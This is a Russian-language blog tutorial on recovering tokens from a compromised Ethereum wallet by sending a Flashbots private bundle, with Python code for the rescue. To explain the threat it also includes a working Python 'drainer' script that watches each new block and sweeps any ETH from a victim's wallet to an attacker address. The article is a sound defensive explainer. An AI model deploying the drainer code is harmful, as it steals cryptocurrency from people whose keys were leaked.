Software Developement
May 22

How to AntiDrain | Спасаем средства из скомпрометированного кошелька


Содержание:

  1. Введение
  2. Дрейнер
    2.1. Алгоритм
    2.2. Реализация
  3. Спасаем средства
    3.1. Приватные пулы
    3.2. Алгоритм
    3.3. Реализация
    3.4. Результат работы
  4. Итоги

Подписывайтесь на канал cppmyk.inc.


1. Введение

В криптовалютном сообществе частенько можно наткнуться на людей, у которых украли приватный ключ или сид-фразу от одного или нескольких кошельков. Обычно в таком случае кошелек моментально лишается содержимого, но бывает и иначе, когда хакер не выводит все средства из кошелька которые, например, лежат в лендинговом протоколе или же пока еще не доступны для получения в случае дропов.

Задача по возвращению оставшихся средств со взломанного кошелька, хоть и кажется на первый взгляд довольно простой, на деле является практически невыполнимой для рядового пользователя. Виной тому запущенный дрейнер, который ворует с кошелька жертвы нативный токен сети, как только она пытается перевести его для оплаты комиссии.

Для человека, сколько-нибудь подкованного в программировании, разобраться с вышеупомянутой проблемой не представляет особой сложности, если он знаком с алгоритмом решения.

В данной статье мы разберем, что из себя представляет дрейнер и как с ним бороться. Иными словами, предоставим алгоритм спасения средств из скомпрометированного кошелька и его реализацию на языке Python.

Все примеры будут разобраны на блокчейне Ethereum.
Код на GitHub: link.

2. Дрейнер

Дрейнер (drainer/sweeper) — программное обеспечение, которое постоянно следит за изменениями баланса кошелька жертвы и ворует средства сразу после их поступления на счет, тем самым препятствуя попыткам жертвы забрать оставшиеся активы.

В большинстве случаев реализация такого софта достаточно примитивная и не требует глубокого понимания работы блокчейна. Один из вариантов разберем далее.

2.1 Алгоритм

Начнем с алгоритма:

  1. Следим за появлением нового блока.
  2. Проверяем баланс кошелька жертвы.
  3. Если хватает нативного токена для оплаты комиссии трансфера, воруем деньги с кошелька.
  4. Переходим к пункту 1.

2.2 Реализация

import time

from eth_account import Account
from eth_account.datastructures import SignedTransaction
from eth_account.signers.local import LocalAccount
from eth_typing import ChecksumAddress
from hexbytes import HexBytes
from web3 import Web3
from web3.types import Wei, TxParams

ETH_HTTP_URL: str = 'https://eth.llamarpc.com'
ETH_CHAIN_ID: int = 1

COMPROMISED_KEY: str = "private_key"

HACKER_ADDRESS: ChecksumAddress = Web3.to_checksum_address('address')
TRANSFER_GAS_LIMIT: int = 21000

w3: Web3 = Web3(Web3.HTTPProvider(ETH_HTTP_URL))
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)


def sweep() -> None:
    gas_price: Wei = w3.eth.gas_price
    account_balance: Wei = w3.eth.get_balance(compromised.address)

    if account_balance < gas_price * TRANSFER_GAS_LIMIT:
        return

    transaction: TxParams = {
        'chainId': ETH_CHAIN_ID,
        'from': compromised.address,
        'to': HACKER_ADDRESS,
        'value': account_balance - (gas_price * TRANSFER_GAS_LIMIT),
        'nonce': w3.eth.get_transaction_count(compromised.address),
        'gas': TRANSFER_GAS_LIMIT,
        'gasPrice': gas_price
    }

    signed: SignedTransaction = compromised.sign_transaction(transaction)

    tx_hash: HexBytes = w3.eth.send_raw_transaction(signed.rawTransaction)
    w3.eth.wait_for_transaction_receipt(tx_hash)

    print(f'Sweep transaction: {tx_hash.hex()}')


def main() -> None:
    block_filter = w3.eth.filter('latest')
    interval = 1

    while True:
        for block_hash in block_filter.get_new_entries():
            block = w3.eth.getBlock(block_hash)
            print(f"New Block: {block.number}")
            sweep()
        time.sleep(interval)


if __name__ == '__main__':
    main()

Такой неказистой реализации уже достаточно, чтобы среднестатистический пользователь бросил попытки спасения своих средств, так как вручную он это вряд ли сможет сделать.

Дрейнеры, разумеется, могут быть более изощренными. Например, они могут следить за пулом неподтвержденных транзакций с целью поиска взаимодействий с кошельком жертвы и более надежного предотвращения вывода активов. Но любые подобные реализации не могут ничего сделать против приватных пулов, которые мы рассмотрим далее.

3. Спасаем средства

Мы уже поняли, что руками противостоять sweeper-боту — не лучшая затея. Поэтому попытаемся автоматизировать процесс спасения средств.

Для начала рассмотрим технологии, которые будут полезны для наших задач, затем разберем алгоритм и его реализацию на Python, после чего увидим результат на Etherscan.

3.1. Приватные пулы

Ключевым элементом в борьбе с хакером является использование приватных пулов. Что же это такое?

При стандартном использовании сети пользователи отправляют подписанные транзакции нодам блокчейна, которые, в свою очередь, сохраняют их в структуре TxPool и начинают распространять между всеми подключенными пирами. Это делает мемпул полностью публичным и доступным каждому участнику сети, с некоторыми оговорками (частные ноды все-таки не имеют доступа ко всем неподтвержденным транзакциям из-за особенностей реализации).

Публичность дает возможность хакеру анализировать и фронтранить транзакции (ставить более высокий gas, за счет чего изменять свое положение в блоке), что будет мешать нам при попытке спасения средств.

Тут на помощь приходят приватные пулы, дающие следующие возможности:

  • Отправка транзакции в обход публичного мемпула.
  • Упаковка транзакций в так называемые бандлы (bundle, несколько транзакций в определенной последовательности).
  • Избегание оплаты за провалившиеся транзакции (они либо включены в блок и выполнены успешно, либо не включены вовсе, если пользователь явно не указал, что допускает фейл некоторых транзакций).

Идея работы приватных пулов:

  1. Пользователь отправляет одну или несколько транзакций (bundle) Builder-у блоков.
  2. Builder создает самый оптимальный блок из доступных транзакций.
  3. Builder отправляет блок в Relay.
  4. Relay, получивший много возможных блоков от различных Builder-ов, выбирает среди них самый оптимальный.
  5. Relay отправляет блок Validator-у.
  6. Validator, получивший блоки от различных Relay-ев, выбирает самый оптимальный.
  7. Validator создает блок (если сейчас его очередь).

Схематически это выглядит примерно так:

Схема работы приватных пулов
Схема взаимодействия участников

3.2. Алгоритм

Для примера представим следующую ситуацию: приватный ключ от нашего кошелька был украден, с баланса был выведен весь эфир, но при этом осталось некоторое количество ERC-20 токенов WETH, которые мы хотим вернуть себе.

Введем следующие обозначения:

  • Rescuer — кошелек-донор, с которого мы будем отправлять средства для покрытия комиссии на скомпрометированном аккаунте.
  • Compromised — кошелек, который был взломан хакером и контролируется дрейнером.

Теперь, когда мы узнали о приватных пулах, алгоритм спасения средств предельно прост:

  1. Формируем бандл:
    1. Депозит ETH для покрытия комиссии с кошелька Rescuer.
    2. Взаимодействие с контрактом WETH и трансфер средств с Compromised на Rescuer.
  2. Симулируем выполнение бандла через онлайн-симулятор (опционально, чтобы проверить его корректность).
  3. Отправляем бандл билдеру.
  4. Ждем включения в блок.

Если наш бандл является достаточно привлекательным для потенциального валидатора с точки зрения прибыльности (награда либо через комиссию, либо прямой перевод средств на его адрес), то мы с высокой вероятностью попадем в блок.

Следует также учитывать, какому билдеру вы отправляете, так как с некоторыми придется ждать включения в блок продолжительное время.

3.3. Реализация

from eth_account.datastructures import SignedTransaction
from eth_typing import ChecksumAddress, BlockNumber
from flashbots import flashbot
from web3 import Web3, HTTPProvider
from eth_account.account import Account
from eth_account.signers.local import LocalAccount
from web3.contract import Contract
from web3.exceptions import TransactionNotFound
from web3.types import TxParams, Wei

from erc20_abi import ERC20_ABI

RESCUER_KEY: str = ""
COMPROMISED_KEY: str = ""
FLASHBOTS_KEY: str = ""

ETH_CHAIN_ID: int = 1
ETH_HTTP_URL: str = 'https://eth.llamarpc.com'

WETH_CONTRACT_ADDRESS: ChecksumAddress = Web3.to_checksum_address('0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2')
WETH_TRANSFER_GAS_LIMIT: int = 100000
ETH_TRANSFER_GAS_LIMIT: int = 21000

WETH_AMOUNT_TO_RESCUE: Wei = Web3.to_wei(0.001, 'ether')

rescuer: LocalAccount = Account.from_key(RESCUER_KEY)
compromised: LocalAccount = Account.from_key(COMPROMISED_KEY)
signer: LocalAccount = Account.from_key(FLASHBOTS_KEY)

w3: Web3 = Web3(HTTPProvider(ETH_HTTP_URL))
flashbot(w3, signer)


def build_erc20_transfer_transaction(sender_address: ChecksumAddress, destination_address: ChecksumAddress,
                                     amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
    contract: Contract = w3.eth.contract(address=WETH_CONTRACT_ADDRESS, abi=ERC20_ABI)

    tx: TxParams = contract.functions.transfer(destination_address, amount).build_transaction(
        {
            'from': sender_address,
            'gas': WETH_TRANSFER_GAS_LIMIT,
            'gasPrice': gas_price,
            'nonce': nonce
        }
    )

    return tx


def build_send_transaction(destination_address: ChecksumAddress, amount: Wei, gas_price: Wei, nonce: int) -> TxParams:
    tx: TxParams = {
        'to': destination_address,
        'value': amount,
        'gas': ETH_TRANSFER_GAS_LIMIT,
        'gasPrice': gas_price,
        'nonce': nonce,
        'chainId': ETH_CHAIN_ID
    }

    return tx


def main():
    print(f'Rescuer address: {rescuer.address}')
    print(f'Compromised address: {compromised.address}')
    print('-' * 100)

    gas_price: Wei = w3.eth.gas_price
    eth_to_cover_transfer: Wei = Wei(gas_price * WETH_TRANSFER_GAS_LIMIT)

    rescuer_nonce: int = w3.eth.get_transaction_count(rescuer.address)
    deposit_tx: TxParams = build_send_transaction(compromised.address, eth_to_cover_transfer, gas_price, rescuer_nonce)
    deposit_tx_signed: SignedTransaction = rescuer.sign_transaction(deposit_tx)

    compromised_nonce: int = w3.eth.get_transaction_count(compromised.address)
    weth_transfer_tx: TxParams = build_erc20_transfer_transaction(compromised.address, rescuer.address,
                                                                  WETH_AMOUNT_TO_RESCUE, gas_price, compromised_nonce)
    weth_transfer_tx_signed: SignedTransaction = compromised.sign_transaction(weth_transfer_tx)

    bundle = [
        {'signed_transaction': deposit_tx_signed.rawTransaction},
        {'signed_transaction': weth_transfer_tx_signed.rawTransaction},
    ]

    while True:
        block: BlockNumber = w3.eth.block_number

        print(f'Simulating on block {block}')
        try:
            w3.flashbots.simulate(bundle, block)
            print('Simulation successful.')
            print()
        except Exception as e:
            print("Simulation error", e)

        print(f"Sending bundle targeting block {block + 1}")

        send_result = w3.flashbots.send_bundle(
            bundle,
            target_block_number=block + 1
        )
        print("bundleHash", w3.toHex(send_result.bundle_hash()))

        stats_v2 = w3.flashbots.get_bundle_stats_v2(
            w3.toHex(send_result.bundle_hash()), block
        )
        print("bundleStats v2", stats_v2)

        try:
            receipts = send_result.receipts()
            print(f"Bundle was mined in block {receipts[0].blockNumber}")
            break
        except TransactionNotFound:
            print(f"Bundle not found in block {block + 1}")
        print('-' * 100)

    print('Finished')


if __name__ == "__main__":
    main()
FLASHBOTS_KEY — это приватный ключ, который используется для подписания бандла. Он не обязан соответствовать какому-то реальному кошельку. Flashbots использует этот механизм в своей системе репутации пользователей.

3.4. Результат работы

Что ж, проверим на практике.

Подождав некоторое время, бандл был включен в блок 19924093.

Транзакция с кошелька-донора (11-е место в блоке) - link.
Транзакция со скомпрометированного кошелька (12-е место в блоке) - link.

Блок 19924093

Как мы видим, транзакции были включены друг за другом, как мы и хотели. А кроме того, прошли в обход публичного пула транзакций, следовательно хакер бы их не увидел.

4. Итоги

Че?

Подписывайтесь на канал cppmyk.inc.